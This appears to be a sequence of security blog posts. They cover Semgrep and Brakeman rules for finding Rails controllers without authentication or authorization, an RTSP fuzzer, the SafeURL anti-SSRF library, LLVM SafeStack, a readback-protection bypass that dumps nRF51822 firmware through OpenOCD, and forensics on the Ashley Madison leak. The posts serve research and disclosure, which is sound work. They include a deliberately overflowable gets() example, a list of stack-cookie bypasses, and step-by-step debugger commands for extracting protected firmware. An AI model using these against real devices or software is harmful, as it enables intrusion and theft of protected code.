Matching only classes derived from ApplicationController was difficult because Semgrep doesn’t currently trace base classes recursively, so any that were more than one level removed from ApplicationController would be excluded (for example, if there was a class DerivedController < ApplicationController, it wouldn’t match SecondLevelDerivedController < DerivedController.) The Semgrep team gave me a tip about using a metavariable regex to filter for classes ending in “Controller” which worked for this situation and added no false positives.
My final custom rule for Semgrep follows:
rules:
- id: controller-without-authn
patterns:
- pattern: |
class $CLASS
...
end
- pattern-not: |
class $CLASS
...
before_action ..., :login_required, ...
...
end
- metavariable-regex:
metavariable: '$CLASS'
regex: '.*Controller'
message: |
$CLASS does not use the login_required filter.
severity: WARNING
languages:
- ruby
I ran the rule using the following command: semgrep --config=../../../semgrep/ | grep "does not use"
The final grep is necessary because Semgrep will print the matched patterns which, in this case, were the entire classes. There’s currently no option in Semgrep to show only a list of matching files without the actual matched patterns themselves. That made it difficult to see the list of affected controllers, so I used grep on the output to filter the patterns out. This rule resulted in 47 identified controllers. Creating this rule originally took about two hours including going through the tutorial and debugging the issues I ran into but now that the issues are fixed I expect it would take less time in future iterations.
Overall I think the rule is pretty self-explanatory — it finds all files that define a class then excludes the ones that have a login_required before filter. Check out the semgrep tutorial lessons if you’re unsure.
Brakeman
Brakeman has a wiki page which describes custom rule building, but it doesn’t have a lot of detail about what functionality is available to you. It gives examples of finding particular method calls and whether user input finds their ways into these calls. There’s no example of finding controllers.
The page didn’t give any more about what I wanted to do so I headed off to Brakeman’s folder of built-in rules in GitHub to see if there are any examples of something similar there. There is a CheckSkipBeforeFilter rule which is very similar to what I want — it checks whether the login_required callback is skipped with skip_before_filter. As mentioned, the app isn’t implemented that way, but it showed me how to iterate controllers and check before filters.
This got me most of the way there but I also needed to skip API controllers for this particular app’s architecture. After about an hour of tinkering and looking through Brakeman controller tracker code I had the following rule:
require 'brakeman/checks/base_check'
class Brakeman::CheckControllerWithoutAuthn < Brakeman::BaseCheck
Brakeman::Checks.add self
@description = "Checks for a controller without authN"
def run_check
controllers = tracker.controllers.select do |_name, controller|
not check_filters controller
end
Hash[controllers].each do |name, controller|
warn :controller => name,
:warning_type => "No authN",
:warning_code => :basic_auth_password,
:message => "No authentication for controller",
:confidence => :high,
:file => controller.file
end
end
# Check whether a non-api controller has a :login_required before_filter
def check_filters controller
return true if controller.parent.to_s.include? "ApiController"
controller.before_filters.each do |filter|
next unless call? filter
next unless filter.first_arg.value == :login_required
return true
end
return false
end
end
Running it with brakeman --add-checks-path ../brakeman --enable ControllerWithoutAuthn -t ControllerWithoutAuthn resulted in 43 controllers without authentication — 4 fewer than Semgrep flagged.
Taking a close look at the controllers that Semgrep flagged and Brakeman did not, I realized the app is importing shared functionality from another module, which included a login_required filter. Therefore, Semgrep had 4 false positives that Brakeman did not flag. Since Semgrep works on individual files I don’t believe there’s an easy way to prevent those ones from being flagged.
Second custom rule: Verification of correct and complete authorization across functionality
The next case I wanted assurance on was vertical authorization at the API layer. ApiControllers in the webapp have a method authorization_permissions() which is called at the top of each derived class with a hash table of function_name/permission pairs. This function saves the passed hash table into an instance variable. ApiControllers have a before filter that, when any method is invoked, will look up the permission associated with the called method in the hash table and ensure that the user has the correct permission before proceeding.
Manual review was required to determine whether any methods had incorrect privileges, as analysis tools can’t understand business logic, but they can find methods entirely lacking authorization control — that was my goal for these rules.
Semgrep
Despite being seemingly a more complex scenario, this was still pretty straightforward in Semgrep:
rules:
- id: method-without-authz
patterns:
- pattern: |
class $CONTROLLER < ApiController
...
def $FUNCTION
...
end
...
end
- pattern-not: |
class $CONTROLLER < ApiController
...
authorization_permissions ... :$FUNCTION => ...
...
def $FUNCTION
...
end
...
end
message: |
Detected api controller $CONTROLLER which does not check for authorization for the $FUNCTION method
severity: WARNING
languages:
- ruby
It finds all methods on ApiControllers then excludes the ones that have some authorization applied. Semgrep found seven controllers with missing authorization checks.
Brakeman
I struggled to make this one in Brakeman at first, even thinking it might not be possible. The Brakeman team kindly guided me towards Collection#options which contains all method calls invoked at the class level excluding some common ones like before_filter. The following rule grabs all ApiControllers, looks through their options for the call to authorization_permissions, then checks whether each controller method has an entry in the authorization_permissions hash.
require 'brakeman/checks/base_check'
class Brakeman::CheckApicontrollerWithoutAuthz < Brakeman::BaseCheck
Brakeman::Checks.add self
@description = "Checks for an ApiController without authZ"
def run_check
# Find all api controllers
api_controllers = tracker.controllers.select do |_name, controller|
is_apicontroller controller
end
# Go through all methods on all ApiControllers
# and find if they have any methods that are not in the authorization matrix
Hash[api_controllers].each do |name, controller|
perms = controller.options[:authorization_permissions].first.first_arg.to_s
controller.each_method do |method_name, info|
if not perms.include? ":#{method_name})"
warn :controller => name,
:warning_type => "No authZ",
:warning_code => :basic_auth_password,
:message => "No authorization check for #{name}##{method_name}",
:confidence => :high,
:file => controller.file
end
end
end
end
def is_apicontroller controller
# Only care about controllers derived from ApiController
return controller.parent.to_s.include? "ApiController"
end
end
Using this rule Brakeman found the same seven controllers with missing authorization as Semgrep.
Conclusion
So who is the winner of this showdown? For Ruby, both tools are valuable, there is no definitive winner in our comparison when we’re specificially talking about custom rules. Currently I think Semgrep edges out Brakeman a bit for writing quick and dirty custom checks on assessments, as it’s faster to get going but it does have slightly more false positives in our limited comparison testing.
Semgrep rules are fairly intuitive to write and self explanatory; Brakeman requires additional understanding by looking into its source code to understand its architecture and also there is the need to use existing rules as a guide. After creating a few Brakeman rules it gets a lot easier, but the initial learning curve was a bit higher than other SAST tools. However, Brakeman has some sophisticated features that Semgrep does not, especially the user-input tracing functionality, that weren’t really shown in these examples. If some dangerous function is identified and you need to see if any user input gets to it (source/sink flow), that is a great Brakeman use case. Also, Brakeman’s default ruleset is great and I use them on every Rails test I do.
Ultimately Semgrep and Brakeman are both great tools with quirks and particular use-cases and deserve to be in your arsenal of SAST tooling. Enormous thanks to both Clint from the Semgrep team and Justin the creator of Brakeman for providing feedback on this post!
There are many ways software is tested for faults, some of those faults end up originating from exploitable memory corruption situations and are labeled vulnerabilities. One popular method used to identify these types of faults in software is runtime fuzzing.
When developing servers that implement an RFC defined protocol, dynamically mutating the inputs and messages sent to the server is a good strategy for fuzzing. The Mozilla security team has used fuzzing internally to great effect on their systems and applications over the years. One area that Mozilla wanted to see more open source work in was fuzzing of streaming media protocols, specifically RTSP.
Towards that goal IncludeSec is today releasing https://github.com/IncludeSecurity/RTSPhuzz. We’re also excited to announce the work of the initial development of the tool has been sponsored by the Mozilla Open Source Support (MOSS) awards program. RTSPhuzz is provided as free and open unsupported software for the greater good of the maintainers and authors of RTSP services — FOSS and COTS alike!
RTSPhuzz is based on the boofuzz framework, it and connects as a client to target RTSP servers and fuzzes RTSP messages or sequences of messages. In the rest of this post we’ll cover some of the important bits to know about it. If you have an RTSP server, go ahead and jump right into our repo and shoot us a note to say hi if it ends up being useful to you.
RtspFuzzer uses the Peach fuzzing framework to fuzz RTSP responses, however it targets RTSP client implementations, whereas our fuzzer targets RTSP servers.
StreamFUZZ is a Python script that does not utilize a fuzzing framework. Similar to our fuzzer, it fuzzes different parts of RTSP messages and sends them to a server. However, it is more simplistic; it doesn’t fuzz as many messages or header fields as our fuzzer, it does not account for the types of the fields it fuzzes, and it does not keep track of sessions for fuzzing sequences of messages.
Approach to Fuzzer Creation
The general approach for RTSPhuzz was to first review the RTSP RFC carefully, then define each of the client-to-server message types as boofuzz messages. RTSP headers were then distributed among the boofuzz messages in such a way that each is mutated by the boofuzz engine in at least one message, and boofuzz messages are connected in a graph to reasonably simulate RTSP sessions. Header values and message bodies were given initial reasonable default values to allow successful fuzzing of later messages in a sequence of messages. Special processing is done for several headers so that they conform to the protocol when different parts of messages are being mutated. The boofuzz fuzzing framework gives us the advantage of being able to leverage its built-in mutations, logging, and web interface.
Using RTSPhuzz
You can grab the code from github. Then, specify the server host, server port, and RTSP path to a media file on the target server:
Once RTSPhuzz is started, the boofuzz framework will open the default web interface on localhost port 26000, and will record results locally in a boofuzz-results/ directory. The web interface can be re-opened for the database from a previous run with boofuzz’s boo tool:
boo open <run-*.db>
See the RTSPhuzz readme for more detailed options and ways to run RTSPhuzz, and boofuzz’s documentation for more information on boofuzz.
Open Source and Continued Development
This is RTSPhuzz’s initial release for open use by all. We encourage you to try it out and share ways to improve the tool. We will review and accept PRs, address bugs where we can, and also would love to hear any shout-outs for any bugs you find with this tool (@includesecurity).
One of the things that has always been important in IncludeSec’s progress as a company is finding the best talent for the task at hand. We decided early on that if the best Python hacker in the world was not in the US then we would go find that person and work with them! Or whatever technology the project at hand is; C, Go, Ruby, Scala, Java, etc.
As it turns out the best Python hackers (and many other technologies) might actually be in Argentina. We’re not the only ones that have noticed this. Immunity Security, IOActive Security, Gotham Digital Science, and many others have a notable presence in Argentina (The NY Times even wrote an article on how great the hackers are there!) We’ve worked with dozens of amazing Argentinian hackers over the last six years comprising ~30% of our team and we’ve also enjoyed the quality of the security conferences like EkoParty in Buenos Aires.
As a small thank you to the entire Argentinian hacker scene, we’re going to do a free training class on May 30/31st 2019 teaching advanced web hacking techniques. This training is oriented towards hackers earlier in their career who have already experienced the world of OWASP top 10 and are looking to take their hacking skills to the next level.
If that sounds like you, you’re living in Argentina, and can make it to Buenos Aires on May 30th & 31st then this might be an awesome opportunity for you!
At Include Security, we believe that a reactive approach to security can fall short when it’s not backed by proactive roots. We see new offensive tools for pen-testing and vulnerability analysis being created and released all the time. In regards to SSRF vulnerabilities, we saw an opportunity to release code for developers to assist in protecting against these sorts of security issues. So we’re releasing a new set of language specific libraries to help developers effectively protect against SSRF issues. In this blog post, we’ll introduce the concept of SafeURL; with details about how it works, as well as how developers can use it, and our plans for rewarding those who find vulnerabilities in it!
Preface: Server Side Request Forgery
Server Side Request Forgery (SSRF) is a vulnerability that gives an attacker the ability to create requests from a vulnerable server. SSRF attacks are commonly used to target not only the host server itself, but also hosts on the internal network that would normally be inaccessible due to firewalls. SSRF allows an attacker to:
Scan and attack systems from the internal network that are not normally accessible
Enumerate and attack services that are running on these hosts
Exploit host-based authentication services
As is the case with many web application vulnerabilities, SSRF is possible because of a lack of user input validation. For example, a web application that accepts a URL input in order to go fetch that resource from the internet can be given a valid URL such as http://google.com But the application may also accept URLs such as:
When those kinds of inputs are not validated, attackers are able to access internal resources that are not intended to be public.
Our Proposed Solution
SafeURL is a library, originally conceptualized as “SafeCURL” by Jack Whitton (aka @fin1te), that protects against SSRF by validating each part of the URL against a white or black list before making the request. SafeURL can also be used to validate URLs. SafeURL intends to be a simple replacement for libcurl methods in PHP and Python as well as java.net.URLConnection in Scala. The source for the libraries are available on our Github:
Our approach is focused on protection on the application layer. Other techniques used by some Silicon Valley companies to combat SSRF include:
Setting up wrappers for HTTP client calls which are forwarded to a single-purposed proxy that prevents it from talking to any internal hosts based on firewall rules as the HTTP requests are proxied
At the application server layer, hijack all socket connections to ensure they meet a developer configured policy by enforcing iptables rules or more advanced interactions with the app server’s networking layer
Installation
PHP
SafeURL can be included in any PHP project by cloning the repository on our Github and importing it into your project.
Python
SafeURL can be used in Python apps by cloning the repository on our Github and importing it like this:
from safeurl import safeurl
Scala
To use SafeURL in Scala applications, clone the repository and store in the app/ folder of your Play application and import it.
import com.includesecurity.safeurl._
Usage
PHP
SafeURL is designed to be a drop-in replacement for the curl_exec() function in PHP. It can simply be replaced with SafeURL::execute() wrapped in a try {} catch {} block.
Options such as white and black lists can be modified. For example:
$options = new Options();
$options->addToList("blacklist", "domain", "(.*)\.fin1te\.net");
$options->addToList("whitelist", "scheme", "ftp");
//This will now throw an InvalidDomainException
$response = SafeURL::execute("http://example.com", $curlHandle, $options);
//Whilst this will be allowed, and return the response
$response = SafeURL::execute("ftp://example.com", $curlHandle, $options);
Python
SafeURL serves as a replacement for PyCurl in Python.
try:
su = safeurl.SafeURL()
res = su.execute("https://example.com";)
except:
print "Unexpected error:", sys.exc_info()
Demo, Bug Bounty Contest, and Further Contributions
An important question to ask is: Is SafeURL really safe? Don’t take our word for it. Try to hack it yourself! We’re hosting live demo apps in each language for anyone to try and bypass SafeURL and perform a successful SSRF attack. On each site there is a file called key.txt on the server’s local filesystem with the following .htaccess policy:
<Files key.txt>
Order deny,allow
Deny from allow
Allow from 127.0.0.1
ErrorDocument 403 /oops.html
</Files>
If you can read the contents of the file through a flaw in SafeURL and tell us how you did it (patch plz?), we will contact you about your reward. As a thank you to the community, we’re going to reward up to one Bitcoin for any security issues. If you find a non-security bug in the source of any of our libraries, please contact us as well you’ll have our thanks and a shout-out. The challenges are being hosted at the following URLs: PHP: safeurl-php.excludesecurity.com Python: safeurl-python.excludesecurity.com Scala: safeurl-scala.excludesecurity.com
If you can contribute a Pull Request and port the SafeURL concept to other languages (such as Java, Ruby, C#, etc.) we could throw you you some Bitcoin as a thank you.
Good luck and thanks for helping us improve SafeURL!
In June 2015, a new memory corruption exploit mitigation named SafeStack was merged into the llvm development branch by Peter Collingbourne from Google and will be available with the upcoming 3.8 release. SafeStack was developed as part of the Code Pointer Integrity (CPI) project but is also available as stand-alone mitigation. We like to stay ahead of the curve on security, so this post aims to discuss the inner workings and the security benefits of SafeStack for consideration in future attacks and possible future improvements to the feature.
SafeStack in a Nutshell
SafeStack is a mitigation similar to (but potentially more powerful than) Stack Cookies. It tries to protect critical data on the stack by separating the native stack into two areas: A safe stack, which is used for control flow information as well as data that is only ever accessed in a safe way (as determined through static analysis). And an unsafe stack which is used for everything else that is stored on the stack. The two stacks are located in different memory regions in the process’s address space and thus prevent a buffer overflow on the unsafe stack from corrupting anything on the safe stack.
SafeStack promises a generally good protection against common stack based memory corruption attacks while introducing only a low performance overhead (around 0.1% on average according to the documentation) when implemented.
When SafeStack is enabled, the stack pointer register (esp/rsp on x86/x64 respectively) will be used for the safe stack while the unsafe stack is tracked by a thread-local variable. The unsafe stack is allocated during initialization of the binary by mmap’ing a region of readable and writable memory and preceding this region with a guard page, presumably to catch stack overflows in the unsafe stack region.
SafeStack is (currently) incompatible with Stack Cookies and disables them when it is used.
Implementation Details
SafeStack is implemented as an llvm instrumentation pass, the main logic is implemented in lib/Transforms/Instrumentation/SafeStack.cpp. The instrumentation pass runs as one of the last steps before (native) code generation.
More technically: The instrumentation pass works by examining all “alloca” instructions in the intermediate representation (IR) of a function (clang first compiles the code into llvm’s intermediate representation and later, after various instrumentation/optimization passes, translates the IR into machine code). An “alloca” instruction allocates space on the stack for a local variable or array. The SafeStack instrumentation pass then traverses the list of instructions that make use of this variable and determines whether these accesses are safe or not. If any access is determined to be “unsafe” by the instrumentation pass, the “alloca” instruction is replaced by code that allocates space on the unsafe stack instead and the instructions using the variable are updated accordingly.
The IsSafeStackAlloc function is responsible for deciding whether a stack variable can ever be accessed in an “unsafe” way. The definition of “unsafe” is currently rather conservative: a variable is relocated to the unsafe stack in the following cases:
a pointer to the variable is stored somewhere in memory
an element of an array is accessed with a non-constant index (i.e. another variable)
a variable sized array is accessed (with constant or non-constant index)
a pointer to the variable is given to a function as argument
The SafeStack runtime support, which is responsible for allocating and initializing the unsafe stack, can be found here. As previously mentioned, the unsafe stack is just a regular mmap’ed region.
Exploring SafeStack: Implementation in Practice
Let’s now look at a very simple example to understand how SafeStack works under the hood. For my testing I compiled clang/llvm from source following this guide: http://clang.llvm.org/get_started.html
Let’s start by looking at the generated assembly when no stack protection is used. For that we compile with “clang -O1 example.c” (optimization is enabled to reduce noise)
Easy enough. The function allocates space on the stack for the buffer at 400580, then calls strcpy with a pointer to the buffer at 40058e. Now let’s look at the assembly code generated when using Stack Cookies. For that we need to use the -fstack-protector flag (available in gcc and clang): “clang -O1 -fstack-protector example.c”:
At 4005f7 the master cookie (the reference value of the cookie) is read from the Thread Control Block (TCB which is a per thread data structure provided by libc) and put on the stack, below the return address. Later, at 40061a, that value is then compared with the value in the TCB before the function returns. If the two values do not match, __stack_chk_fail is called which terminates the process with a message similar to this one: “*** stack smashing detected ***: ./example terminated“. Now we’ll enable SafeStack by using the -fsanitize=safe-stack flag: “clang -O1 -fsanitize=safe-stack example.c”:
At 410d7e the current value of the unsafe stack pointer is retrieved from Thread Local Storage (TLS). Since each thread also has it’s own unsafe stack, the stack pointer for the unsafe stack gets stored as a thread local variable. Next, at 410d82, the program allocates space for our buffer on the unsafe thread and writes the new value back to the TLS (410d86). It then calls the strcpy function with a pointer into the unsafe stack. In the function epilog (410d92), the old value of the unsafe stack pointer is written back into TLS (Basically, these instruction do the equivalent of “sub rsp, x; … add rsp, x”, but for the unsafe stack) and the function returns.
If we compile our program with the “-fsanitize=safe-stack option” and an overflow occurs, the saved return address (on the safe stack) is unaffected and the program likely segfaults as it tries to write behind the unsafe stack into unmapped/unwritable memory.
Security Details: Stack Cookies vs. SafeStack
While Stack Cookies provide fairly good protection against stack corruption exploits, the security measure in general has a few weaknesses. In particular, bypasses are possible in at least the following scenarios:
The vulnerability in code is a non-linear overflow/arbitrary relative write on the stack. In this case the cookie can simply be “skipped over”.
Data (e.g. function pointers) further up the stack can be corrupted and are used before the function returns.
The attacker has access to an information leak. Depending on the nature of the leak, the attacker can either leak the cookie from the stack directly or leak the master cookie. Once obtained, the attacker overflows the stack and overwrites the cookie again with the value obtained in the information leak.
In the case of weak entropy. If not enough entropy is available during generation of the cookie value, an attacker may be able to calculate the correct cookie value.
In the case of a forking service, the stack cookie value will stay the same for all child processes. This may make it possible to bruteforce the stack cookie value byte-by-byte, overwriting only a single byte of the cookie and observing whether the process crashes (wrong guess) or continues past the next return statement (correct guess). This would require at most 255 tries per unknown stack cookie byte.
It is important to note however, that most stack based overflows that are caused by functions operating on C strings (e.g. strcpy) are unexploitable when compiled with stack cookies enabled. As most stack cookie implementations usually force one of the bytes of the stack cookie to be a zero byte which makes string overwriting past that impossible with a C string (it’s still possible with a network buffer and raw memory copy though).
Possible Implementation bugs aside, SafeStack is, at least in theory, immune to all of these due to the separation of the memory regions.
However, what SafeStack (by design) does not protect against is corruption of data on the unsafe stack. Or, phrased differently, the security of SafeStack is based around the assumption that no critical data is stored on the unsafe stack.
Moreover, in contrast to Stack Cookies, SafeStack does not prevent the callee from corrupting data of the caller (more precisely, Stack Cookies prevent the caller from using the corrupted data after the callee returns). The following example demonstrates this:
Compiling this code with “-fsanitize=safe-stack” and supplying more than 16 bytes as input will overflow into the buffer of main() and corrupt its content. In contrast, when compiled with “-fstack-protector”, the overflow will be detected and the process terminated before main() uses the corrupted buffer.
This weakness could be (partially) addressed by using Stack Cookies in addition to SafeStack. In this scenario, the master cookie could even be stored on the safe stack and regenerated for every function call (or chain of function calls). This would further protect against some of the weaknesses of plain Stack Cookies as described above.
The lack of unsafe stack protections combined with the conservativeness of the current definition of “unsafe” in the implementation potentially provides an attacker with enough critical data on the unsafe stack to compromise the application. As an example, we’ll devise a, more or less, realistic piece of code that will result in the (security critical) variable ‘pl’ being placed on the unsafe stack, above ‘buffer’ (Although it seems that enabling optimization during compilation causes less variables to be placed on the unsafe stack):
voiddetermine_privilege_level(int*pl) {
// dummy function*pl =0x42;
}
intmain() {
int pl;
char buffer[16];
determine_privilege_level(&pl);
gets(buffer); // This can overflow and corrupt 'pl'
printf("privilege level: %xn", pl);
return0;
}
This “data-only” attack is possible due to the fact that the current implementation never recurses into called functions but rather considers (most) function arguments as unsafe.
The risk of corrupting critical data on the unsafe stack can however be greatly decreased through improved static analysis, variable reordering, and, as mentioned above, by protecting the callee’s unsafe stack frame.
It should also be noted that the current implementation does not protect the safe stack in any other way besides system level ASLR. This means that an information leak combined with an arbitrary write primitive will still allow an attacker to overwrite the return address (or other data) on the safe stack. See the comment at the top of the runtime support implementation for more information. Finally we should mention there has been an academic study that points out some additional detail regarding CPI.
Conclusion
With the exceptions noted above, SafeStack’s implemented security measures are a superset of those of Stack Cookies, allowing it to prevent exploitation of stack based vulnerabilities in many scenarios. This combined with the low performance overhead could make SafeStack a good choice during compilation in the future.
SafeStack is still in its early stages, but it looks to be a very promising new addition to a developer’s arsenal of compiler provided exploit mitigations. We wouldn’t call it the end-all of buffer overflows, but it’s a significant hurdle for attackers to overcome.
One of the first major goals when reversing a new piece of hardware is getting a copy of the firmware. Once you have access to the firmware, you can reverse engineer it by disassembling the machine code.
Sometimes you can get access to the firmware without touching the hardware, by downloading a firmware update file for example. More often, you need to interact with the chip where the firmware is stored. If the chip has a debug port that is accessible, it may allow you to read the firmware through that interface. However, most modern chips have security features that when enabled, prevent firmware from being read through the debugging interface. In these situations, you may have to resort to decapping the chip, or introducing glitches into the hardware logic by manipulating inputs such as power or clock sources and leveraging the resulting behavior to successfully bypass these security implementations.
This blog post is a discussion of a new technique that we’ve created to dump the firmware stored on a particular Bluetooth system-on-chip (SoC), and how we bypassed that chip’s security features to do so by only using the debugging interface of the chip. We believe this technique is a vulnerability in the code protection features of this SoC and as such have notified the IC vendor prior to publication of this blog post.
The SoC
The SoC in question is a Nordic Semiconductor nRF51822. The nRF51822 is a popular Bluetooth SoC with an ARM Cortex-M0 CPU core and built-in Bluetooth hardware. The chip’s manual is available here.
Chip security features that prevent code readout vary in implementation among the many microcontrollers and SoCs available from various manufacturers, even among those that use the same ARM cores. The nRF51822’s code protection allows the developer to prevent the debugging interface from being able to read either all of code and memory (flash and RAM) sections, or a just a subsection of these areas. Additionally, some chips have options to prevent debugger access entirely. The nRF51822 doesn’t provide such a feature to developers; it just disables memory accesses through the debugging interface.
The nRF51822 has a serial wire debug (SWD) interface, a two-wire (in addition to ground) debugging interface available on many ARM chips. Many readers may be familiar with JTAG as a physical interface that often provides access to hardware and software debugging features of chips. Some ARM cores support a debugging protocol that works over the JTAG physical interface; SWD is a different physical interface that can be used to access the same software debugging features of a chip that ARM JTAG does. OpenOCD is an open source tool that can be used to access the SWD port.
This document contains a pinout diagram of the nRF51822. Luckily the hardware target we were analyzing has test points connected to the SWDIO and SWDCLK chip pins with PCB traces that were easy to follow. By connecting to these test points with a SWD adapter, we can use OpenOCD to access the chip via SWD. There are many debug adapters supported by OpenOCD, some of which support SWD.
Exploring the Debugger Access
Once OpenOCD is connected to the target, we can run debugging commands, and read/write some ARM registers, however we are prevented from reading out the code section. In the example below, we connect to the target with OpenOCD and attempt to read memory sections from the target chip. We proceed to reset the processor and read from the address 0x00000000 and the address that we determine is in the program counter (pc) register (0x000114cc), however nothing but zeros is returned. Of course we know there is code there, but the code protection counter-measures are preventing us from accessing it:
We can however read and write CPU registers, including the program counter (pc), and we can single-step through instructions (we just don’t know what instructions, since we can’t read them):
> reg r0 0x12345678
r0 (/32): 0x12345678
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg pc 0x00011500
pc (/32): 0x00011500
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x00011502 msp: 0x20001bd0
We can also read a few of the memory-mapped configuration registers. Here we are reading a register named “RBPCONF” (short for readback protection) in a collection of registers named “UICR” (User Information Configuration Registers); you can find the address of this register in the nRF51 Series Reference Manual:
> mdw 0x10001004
0x10001004: ffff00ff
According to the manual, a value of 0xffff00ff in the RBPCONF register means “Protect all” (PALL) is enabled (bits 15..8, labeled “B” in this table, are set to 0), and “Protect region 0” (PR0) is disabled (bits 7..0, labeled “A”, are set to1):
The PALL feature being enabled is what is responsible for preventing us from accessing the code section and subsequently causing our read commands to return zeros.
The other protection feature, PR0, is not enabled in this case, but it’s worth mentioning because the protection bypass discussed in this article could bypass PR0 as well. If enabled, it would prevent the debugger from reading memory below a configurable address. Note that flash (and therefore the firmware we want) exists at a lower address than RAM. PR0 also prevents code running outside of the protected region from reading any data within the protected region.
Unfortunately, it is not possible to disable PALL without erasing the entire chip, wiping away the firmware with it. However, it is possible to bypass this readback protection by leveraging our debug access to the CPU.
Devising a Protection Bypass
An initial plan to dump the firmware via a debugging interface might be to load some code into RAM that reads the firmware from flash into a RAM buffer that we could then read. However, we don’t have access to RAM because PALL is enabled. Even if PALL were disabled, PR0 could have been enabled, which would prevent our code in RAM (which would be the unprotected region) from reading flash (in the protected region). This plan won’t work if either PALL or PR0 is enabled.
To bypass the memory protections, we need a way to read the protected data and we need a place to write it that we can access. In this case, only code that exists in protected memory can read protected memory. So our method of reading data will be to jump to an instruction in protected memory using our debugger access, and then to execute that instruction. The instruction will read the protected data into a CPU register, at which time we can then read the value out of the CPU register using our debugger access. How do we know what instruction to jump to? We’ll have to blindly search protected memory for a load instruction that will read from an address we supply in a register. Once we’ve found such an instruction, we can exploit it to read out all of the firmware.
Finding a Load Instruction
Our debugger access lets us write to the pc register in order to jump to any instruction, and it lets us single step the instruction execution. We can also read and write the contents of the general purpose CPU registers. In order to read from the protected memory, we have to find a load word instruction with a register operand, set the operand register to a target address, and execute that one instruction. Since we can’t read the flash, we don’t know what instructions are where, so it might seem difficult to find the right instruction. However, all we need is an instruction that reads memory from an address in some register to a register, which is a pretty common operation. A load word instruction would work, or a pop instruction, for example.
We can search for the right instruction using trial and error. First, we set the program counter to somewhere we guess a useful instruction might be. Then, we set all the CPU registers to an address we’re interested in and then single step. Next we examine the registers. If we are lucky, the instruction we just executed loaded data from an address stored in another register. If one of the registers has changed to a value that might exist at the target address, then we may have found a useful load instruction.
We might as well start at the reset vector – at least we know there are valid instructions there. Here we’re resetting the CPU, setting the general purpose registers and stack pointer to zero (the address we’re trying), and single stepping, then examining the registers:
OK, this time r3 was set to 0x20001BD0. Is that the value at address zero? Let’s see what happens when we run the second instruction with the registers set to 4:
This time, r3 got 0x00014CD. This value actually strongly implies we’re reading memory. Why? The value is actually the reset vector. According to the Cortex-M0 documentation, the reset vector is at address 4, and when we reset the chip, the PC is set to 0x000114CC (the least significant bit is set in the reset vector, changing C to D, because the Cortex-M0 operates in Thumb mode).
Let’s try reading the two instructions we just were testing:
In case you don’t read Thumb assembly, that second instruction is a load register instruction (ldr); it’s taking an address from the r3 register, adding an offset of zero, and loading the value from that address into the r3 register.
We’ve found a load instruction that lets us read memory from an arbitrary address. Again, this is useful because only code in the protected memory can read the protected memory. The trick is that being able to read and write CPU registers using OpenOCD lets us execute those instructions however we want. If we hadn’t been lucky enough to find the load word instruction so close to the reset vector, we could have reset the processor and written a value to the pc register (jumping to an arbitrary address) to try more instructions. Since we were lucky though, we can just step through the first instruction.
Dumping the Firmware
Now that we’ve found a load instruction that we can execute to read from arbitrary addresses, our firmware dumping process is as follows:
Reset the CPU
Single step (we don’t care about the first instruction)
Put the address we want to read from into r3
Single step (this loads from the address in r3 to r3)
The ruby script connects to the OpenOCD user interface, which is available via a telnet connection on localhost. It then loops through addresses that are multiples of four, using the load instruction we found to read data from those addresses.
Vendor Response
IncludeSec contacted NordicSemi via their customer support channel where they received a copy of this blog post. From NordicSemi customer support: “We take this into consideration together with other factors, and the discussions around this must be kept internal.”
We additionally reached out to the only engineer who had security in his title and he didn’t really want a follow-up Q&A call or further info and redirected us to only talk to customer support. So that’s about all we can do for coordinated disclosure on our side.
Conclusion
Once we have a copy of the firmware image, we can do whatever disassembly or reverse engineering we want with it. We can also now disable the chip’s PALL protection in order to more easily debug the code. To disable PALL, you need to erase the chip, but that’s not a problem since we can immediately re-flash the chip using the dumped firmware. Once that the chip has been erased and re-programmed to disable the protection we can freely use the debugger to: read and write RAM, set breakpoints, and so on. We can even attach GDB to OpenOCD, and debug the firmware that way.
The technique described here won’t work on all microcontrollers or SoCs; it only applies to situations where you have access to a debugging interface that can read and write CPU registers but not protected memory. Despite the limitation though, the technique can be used to dump firmware from nRF51822 chips and possibly others that use similar protections. We feel this is a vulnerability in the design of the nRF51822 code protection.
Are you using other cool techniques to dump firmware? Do you know of any other microcontrollers or SoCs that might be vulnerable to this type of code protection bypass? Let us know in the comments.
So Ashley Madison(AM) got hacked, it was first announced about a month ago and the attackers claimed they’d drop the full monty of user data if the AM website did not cease operations. The AM parent company Avid Life Media(ALM) did not cease business operations for the site and true to their word it seems the attackers have leaked everything they promised on August 18th 2015 including:
full database dumps of user data
emails
internal ALM documents
as well as a limited number of user passwords
Back in college I used to do forensics contests for the “Honey Net Project” and thought this might be a fun nostalgic trip to try and recreate my pseudo-forensics investigation style on the data within the AM leak.
Disclaimer:I will not be releasing any personal or confidential information within this blog post that may be found in the AM leak. The purpose of this blog post is to provide an honest holistic forensic analysis and minimal statistical analysis of the data found within the leak. Consider this a journalistic exploration more than anything.
Also note, that the credit card files were deleted and not reviewed as part of this write-up
———–[Grabbing the Leak]
First we go find where on the big bad dark web the release site is located. Thankfully knowing a shady guy named Boris pays off for me, and we find a torrent file for the release of the August 18th Ashley Madison user data dump. The torrent file we found has the following SHA1 hash.
e01614221256a6fec095387cddc559bffa832a19 impact-team-ashley-release.torrent
After extracting all the files we have the following sizes and
file hashes for evidence audit purposes:
The attackers make it clear they have no desire to bridge their dark web identities with their real-life identities and have taken many measures to ensure this does not occur.
The torrent file and messaging were released via the anonymous Tor network through an Onion web server which serves only HTML/TXT content. If the attacker took proper OPSEC precautions while setting up the server, law enforcement and AM may never find them. That being said hackers have been known to get sloppy and slip up their OPSEC. The two most famous cases of this were when Sabu of Anonymous and separately the Dread Pirate Roberts of SilkRoad; were both caught even though they primarily used Tor for their internet activities.
Within the dump we see that the files are signed with PGP. Signing a file in this manner is a way of saying “I did this” even though we don’t know the real-life identity of the person/group claiming to do this is (there is a bunch of crypto and math that makes this possible.) As a result we can be more confident that if there are files which are signed by this PGP key, then it was released by the same person/group.
In my opinion, this is done for two reasons. First the leaker wants to claim responsibility in an identity attributable manner, but not reveal their real-life identity. Secondly, the leaker wishes to dispel statements regarding “false leaks” made by the Ashley Madison team. The AM executive and PR teams have been in crises communications mode explaining that there have been manyfake leaks.
The “Impact Team” is using the following public PGP key to sign their releases.
Old: Public Key Packet(tag 6)(525 bytes)
Ver 4 - new
Public key creation time - Mon Jul 27 22:15:10 EDT 2015
Pub alg - RSA Encrypt or Sign(pub 1)
